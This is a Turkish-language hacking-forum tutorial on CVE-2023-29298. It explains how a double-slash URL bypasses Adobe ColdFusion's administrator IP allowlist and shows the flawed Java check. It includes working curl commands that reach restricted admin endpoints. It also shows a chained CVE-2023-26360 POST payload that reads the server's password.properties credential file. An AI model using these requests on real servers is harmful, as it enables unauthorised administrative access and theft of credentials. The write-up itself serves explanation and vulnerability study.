CVE-2023-29298: Adobe ColdFusion Exploiti Nedir ? Anlatım

a3b2jeo.png

logo.png


CVE-2023-29298: Adobe ColdFusion Exploiti Nedir ? Anlatım Konusu

hydra-we-bhack.gif


Adobe ColdFusion Sunucusu Nedir ?


Adobe ColdFusion, web uygulaması geliştirmeye yönelik ticari bir uygulama sunucusudur. ColdFusion, web uygulamaları oluşturmak ve veritabanları ve üçüncü taraf kitaplıkları gibi birçok harici bileşene entegre etmek için tescilli bir biçimlendirme dilini destekler.

Adobe ColdFusion Erişim Kontrol Özelliği Nedir ?


Erişim kontrolü özelliği, bir ColdFusion web sunucusundaki ColdFusion Yönetici uç noktalarına erişmesine izin verilen harici IP adreslerinin bir izin verilenler listesini oluşturur. İzin verilenler listesinde olmayan harici bir IP adresinden bir istek geldiğinde, istenen kaynağa erişim engellenir. Bu erişim denetimi, ürünün kurulumu sırasında açıklandığı gibi, üretim ortamları için önerilen yapılandırmanın bir parçasını oluşturur:

“Üretim Profili + Güvenli Profil: Bu profili, daha ayrıntılı bir güvenli ortama izin verecek yüksek düzeyde güvenli bir üretim dağıtımı için kullanılır. Ayrıntılar için güvenli profil kılavuzu linki = http://www.adobe.com/go/cf_secureprofile ."

Alternatif olarak, Güvenli Profil ile yapılandırılmamış bir kurulum, kurulum sonrası erişim kontrolünü manuel olarak yapılandırabilir.
Güvenlik açığı, bir saldırganın istenen URL'ye beklenmeyen ek bir eğik çizgi karakteri ekleyerek yönetim uç noktalarına erişmesine olanak tanır.


Adobe ColdFusion CVE Açığı Nedir ?



Bu güvenlik açığı, ColdFusion Secure Profile tarafından sunulan güvenlik korumalarını geçmektedir . /CFIDE/ Saldırgan, yukarıda açıklandığı gibi erişim denetimi atlamayı kullanarak, ColdFusion 2021 Güncelleme 6 yüklemesinde 437 CFM dosyası ve 96 CFC dosyası bulunan ColdFusion Yönetici yolu içindeki her CFM ve CFC uç noktasına erişebilir . Bu kaynaklara erişimin , saldırganın bu kaynakları kullanma yetkisi olduğu anlamına gelmediğini unutmayın ; bunların çoğu, işlemlerini gerçekleştirmeden önce yetkili bir oturum olup olmadığını kontrol eder. Ancak bu kaynaklara erişebilmenin etkisi şu şekildedir:

Saldırgan, bilinen kimlik bilgilerine sahipse ColdFusion Yöneticisinde oturum açabilir.
Saldırgan kimlik bilgilerine Brute Force saldırısı uygulayabilir.
Saldırgan hassas bilgileri sızdırabilir.
Saldırgan, saldırı yüzeyini önemli ölçüde artırdı ve açığa çıkan birçok
CFM ve CFC dosyasından birinde bir güvenlik açığı olması durumunda, saldırgan güvenlik açığı bulunan uç noktayı hedefleyebilir.


6OfL8I.gif



Güvenlik Açığından Etkilenen Sürümler Nelerdir ?

Bu sorun, Adobe ColdFusion'ın aşağıdaki sürümlerini etkiler:

Adobe ColdFusion 2023.
Adobe ColdFusion 2021 Güncelleme 6 ve altı.
Adobe ColdFusion 2018 Güncelleme 16 ve altı.



CVE-2023-29298 Detaylı İnceleyelim

Erişim kontrolü, aşağıdaki URL yollarında bulunan kaynaklara harici istek için erişimi kısıtlar:

Kod:
/restplay
/CFIDE/restplay
/CFIDE/administrator
/CFIDE/adminapi
/CFIDE/main
/CFIDE/componentutils
/CFIDE/wizards
/CFIDE/servermanager

Birkaç Java servlet'i, maruz kalan kaynakları üzerinde erişim denetimini zorunlu kılar:

coldfusion.CfmServlet, ColdFusion Module (CFM) uç noktalarına yönelik tüm istekleri işler.
coldfusion.xml.rpc.CFCServlet ColdFusion İşaretleme Dili (CFML) ve ColdFusion Component (CFC) uç noktalarına yönelik istekleri işler.
coldfusion.rds.RdsGlobals, Uzaktan Geliştirme Hizmeti (RDS) özelliği isteklerini işler.

Erişim kontrolü özelliği sınıfta uygulanır
coldfusion.filter.IPFilterUtils ve yöntem, checkAdminAccess aşağıda gösterildiği gibi erişim kontrolü için mantığı uygular:


Kod:
public class IPFilterUtils {
private static final String[] PATHS = new String[] { "/restplay", "/cfide/restplay", "/cfide/administrator", "/cfide/adminapi", "/cfide/main", "/cfide/componentutils", "/cfide/wizards", "/cfide/servermanager" };
public static void checkAdminAccess(HttpServletRequest req) {
String uri = req.getRequestURI();
String uriToMatch = uri.substring(req.getContextPath().length()).toLowerCase();
for (String path : PATHS) {
if (uriToMatch.startsWith(path)) {
String ip = req.getRemoteAddr();
if (!isAllowedIP(ip))
throw new AdminAccessdeniedException(ServiceFactory.getSecurityService().getAllowedAdminIPList(), ip);
break;
}
}

Yukarıdaki vurgulanan ifadeden, bir HTTP isteğinin URL yolunun bir sensitive yollar listesiyle karşılaştırıldığını ve bu sensitive yollardan herhangi biriyle başladığı tespit edilirse, isteğin harici IP adresinin mevcut olup olmadığını görmek için ek bir kontrol yapıldığını gözlemleyebiliriz. izin listesinde. Hassas bir yola yönelik istek, izin verilen bir harici IP adresinden gelmiyorsa, isteğin reddedilmesine neden olan bir istisna ortaya çıkar.

Saldırgan tarafından kontrol edilen URL yolu , çağrısıyla test edildiğinden
java.lang.String.startsWith, URL yolunun başına ek bir karakter eklenerek bu erişim kontrolü atlanabilir; startsWithistenen kaynağı çözmek için. Söz konusu karakter ek bir eğik çizgidir. Örneğin, sensitive /CFIDE/adminapiyol ile başlayan bir kaynak talep edilirken, saldırgan bu kaynağı //CFIDE/adminapi, erişim kontrolünü atlayacak ve istenen kaynağa giden geçerli bir yol olacak şekilde yoldan talep edebilir.



6OfL8I.gif



CVE-2023-29298 Zafiyeti Test Aşamasına Geçelim

Aşağıdakiler, Windows Server 2022 üzerinde çalışan Adobe ColdFusion 2021 Güncelleme 6'da (2021.0.06.330132) test edildi ve Üretim ve Güvenli profiller etkinleştirilerek ve ColdFusion Yöneticisine erişim 127.0.0.1 yerel ana bilgisayar adresiyle sınırlı olarak yapılandırıldı.

cURL komutunu kullanarak güvenlik açığını gösterebiliriz. Örneğin, uç noktada bir uzak yöntem çağrısı WizardHash gerçekleştirmeye çalışırken /CFIDE/wizards/common/utils.cfc, aşağıdaki cURL komutu kullanılabilir:

Not: Bu örnek Windows'tan çalıştırıldığı için ve işareti (&) bir düzeltme işareti (^) ile atlanmıştır. Linux'ta ve işaretinden eğik çizgi () ile kaçınmalısınız.

Kod:
\> curl -v -k http://172.23.10.174:8500/CFIDE/wizards/common/utils.cfc?method=wizardHash^&inPassword=foo

Aşağıdaki ekran görüntüsünde, erişim kontrolünün yerinde olması nedeniyle bu talebin nasıl başarısız olduğunu görebiliriz:

image2.png


Ancak, yoldaki çift eğik çizgiye dikkat ederek aşağıdaki cURL komutunu verirsek:



Kod:
c:\> curl -v -k http://172.23.10.174:8500//CFIDE/wizards/common/utils.cfc?method=wizardHash^&inPassword=foo

image1.png


Erişim kontrolünün atlandığını ve isteğin başarıyla tamamlandığını görebiliriz.

Benzer şekilde, erişime izin verilmeyen harici bir IP'den bir web tarayıcısında
ColdFusion Yönetici arayüzüne erişmeye çalışırsak aşağıdaki hata görüntülenir.

image6.png


Ancak, URL'de fazladan bir

eğik çizgi /
kullanırsak, artık ColdFusion Yönetici arayüzüne erişebiliriz.

image4.png



Bu Sırada Araya Bir CVE Açığı Daha Ortaya çıkıyor ve yararlanabilceğimiz açığın ismi

CVE-2023-26360
İnceleyelim.

CVE-2023-29298
'deki erişim denetimi atlaması, mevcut bir ColdFusion güvenlik açığından yararlanmaya yardımcı olmak için de kullanılabilir. Bunun bir örneği , hem rasgele dosya okumaya hem de uzaktan kod yürütmeye izin veren CVE-2023-26360'dır . Rastgele bir dosyayı okumak üzere CVE-2023-26360'tan yararlanmak için saldırganın hedefte geçerli bir CFC uç noktası istemesi gerekir. Gördüğümüz gibi, ColdFusion Administrator'da buna benzer çok sayıda uç nokta mevcuttur. Bir dosyayı okumak için CVE-2023-26360'tan yararlanma,
password.properties
aşağıdaki cURL komutuyla gerçekleştirilebilir:

Kod:
c:> curl -v -k http://172.26.181.162:8500/CFIDE/wizards/common/utils.cfc?method=wizardHash^&inPassword=foo^&_cfclient=true^&returnFormat=wddx -X POST -H "Content-Type: application/x-www-form-urlencoded" --data "_variables={\"about\":{\"_metadata\":{\"classname\":\"\\..\\lib\\password.properties\"},\"_variables\":{}}}"

Ancak erişim kontrolü, ColdFusion Yöneticisine yönelik harici istekleri engelleyecek şekilde yapılandırılmışsa istek başarısız olur.

image5.png


Bu nedenle

CVE-2023-29298'i CVE-2023-26360
zincirleyebilir ve bir CFC uç noktasına ulaşmak ve güvenlik açığını aşağıdaki şekilde tetiklemek için erişim kontrolünü atlayabiliriz:

Kod:
c:> curl -v -k http://172.26.181.162:8500//CFIDE/wizards/common/utils.cfc?method=wizardHash^&inPassword=foo^&_cfclient=true^&returnFormat=wddx -X POST -H "Content-Type: application/x-www-form-urlencoded" --data "_variables={\"about\":{\"_metadata\":{\"classname\":\"\\..\\lib\\password.properties\"},\"_variables\":{}}}"

Gördüğümüz gibi, CVE-2023-29298'i ilkel olarak kullanma yeteneğimizin bir sonucu olarak CVE-2023-26360'tan başarıyla yararlandık ve bu nedenle dosyanın içeriğini okuyabiliyoruz password.properties.

İyi Forumlar THT Ailesi


a3b2jeo.png


 
Son düzenleme:
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.